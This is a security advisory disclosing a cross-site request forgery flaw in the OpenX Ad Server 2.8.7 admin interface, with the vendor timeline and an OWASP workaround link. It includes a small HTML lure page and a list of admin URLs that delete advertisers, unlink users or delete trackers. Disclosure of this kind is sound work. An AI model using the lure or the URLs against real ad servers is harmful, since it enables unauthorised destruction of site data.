OpenX Ad Server 2.8.7跨站请求伪造

Title: OpenX Ad Server CSRF Vulnerability

Product: OpenX Ad Server

Vulnerable version: 2.8.7 and probably earlier versions

Fixed version: N/A

Impact: High

Homepage:

测试平台: Ubuntu 11.04

By: Narendra Shinde

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Vendor description:

-------------------

OpenX is the world�s leading independent provider of digital advertising technology that enables businesses to manage and maximize their ad revenue.

OpenX ad serving products are used by more than 200,000 websites in more than 100 countries and serve more than 350 billion ads monthly. OpenX Market reaches more than 400 million monthly unique users worldwide

Source:

Vulnerability Information:

-------------------------

Class: Cross-Site Request Forgery (CSRF) [CWE-352]

Impact: Unintentional changes in application.

Remotely Exploitable: Yes

Authentication Required: No

User interaction Required : Yes

问题描述:

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The administrative interface of OpenX Ad Server is vulnerable to Cross-Site Request Forgery (CSRF) attacks, which can be exploited by remote attackers to force a logged-in administrator to perform malicious actions on the OpenX Ad Server, by enticing authenticated user to visit a malicious web page.Attacker can modify application data.

Proof of concept:

-----------------

Code:

<html>

<body>

<h1> Check This new Snap </h1>

<a href=� /www/admin/advertiser-delete.php?clientid=2> Check This </a>

</body>

</html>

The following URL could be used to perform CSRF attacks:

/www/admin/advertiser-delete.php?clientid=[valid-id]

/www/admin/advertiser-user-unlink.php?userid=[valid-id]&clientid[valid-id]

/www/admin/tracker-delete.php?clientid[valid-id]&trackerid[valid-id]

Workaround:

-----------

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet

Timeline:

Discovered: 7/7/2011

Contacted vendor :  No response

Again Contacted Vendor: 19/7/2011 NO Respoonse

Public Disclosure :24/7/2011

Thanks & Regards,

Narendra.

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